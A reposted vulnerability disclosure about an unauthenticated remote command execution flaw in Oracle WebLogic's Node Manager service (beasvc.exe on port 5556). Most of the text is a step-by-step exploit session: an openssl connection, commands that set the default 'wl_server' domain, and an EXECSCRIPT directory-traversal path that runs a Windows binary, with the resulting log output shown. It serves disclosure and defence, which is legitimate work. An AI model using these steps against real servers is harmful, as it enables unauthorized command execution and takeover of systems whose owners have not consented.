Oracle WebLogic Server Node Manager "beasvc.exe" Remote Command Execution

http://intevydis.blogspot.com/2010/01/oracle-weblogic-1032-node-manager-fun.html

Time for the final bug in our Week of Web Server bugs.
It is in Vulndisco since Oct, 2008.

Oracle Weblogic has an optional Node Manager utility which is used to start/stop server instances from a remote location.

It is important to know that Node Manager is beasvc.exe process which listens on port 5556.

It supports several commands, no authentication is required to enter some of these commands, you will only need to know the name of Weblogic domain (btw in the default install Weblogic has at least 2 domains - wl_server and medrec). As beasvc.exe speaks over SSL we will use openssl utility:

character '>' marks the beginning of our command (write the command after '>' and press Enter)

$ openssl s_client -host 192.168.56.101 -port 5556
>HELLO asdf
+OK Node manager v10.3 started

Remote version leak bug here ;-)

>DOMAIN xyz
-ERR I/O error while reading domain directory

>GETNMLOG
java.io.FileNotFoundException: Domain directory 'C:/Oracle /Middleware/wlserver_10.3/common/nodemanager' invalid (domain salt file not found)
at weblogic .nodemanager.server .DomainManager.initialize(DomainManager.java:79)
at weblogic .nodemanager.server .DomainManager.(DomainManager.java:54)
at weblogic .nodemanager.server .NMServer.getDomainManager(NMServer.java:257)
at weblogic .nodemanager.server .Handler.handleDomain(Handler.java:218)
at weblogic .nodemanager.server .Handler.handleCommand(Handler.java:108)
at weblogic .nodemanager.server .Handler.run(Handler.java:70)
at java.lang.Thread.run(Thread.java:619)

>DOMAIN wl_server
+OK Current domain set to 'wl_server'

>EXECSCRIPT ../../../../../../../../Windows/System32/ping.exe
-ERR 1

>GETNMLOG

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < [-r count] [-s count] [[-j host-list] | [-k host-list]]>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < [-w timeout] [-R] [-S srcaddr] [-4] [-6] target_name>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <Options:>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -t Ping the specified host until stopped.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < To see statistics and continue - type Control-Break;>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < To stop - type Control-C.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -a Resolve addresses to hostnames.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -n count Number of echo requests to send.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -l size Send buffer size.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -f Set Don't Fragment flag in packet (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -i TTL Time To Live.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -v TOS Type Of Service (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -r count Record route for count hops (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -s count Timestamp for count hops (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -j host-list Loose source route along host-list (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -k host-list Strict source route along host-list (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -w timeout Timeout in milliseconds to wait for each reply.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -R Use routing header to test reverse route also (IPv6-only). >

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -S srcaddr Source address to use.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -4 Force using IPv4.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> < -6 Force using IPv6.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

.



+OK Node manager log file sent

Obviously it is a remote preauth command execution bug!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值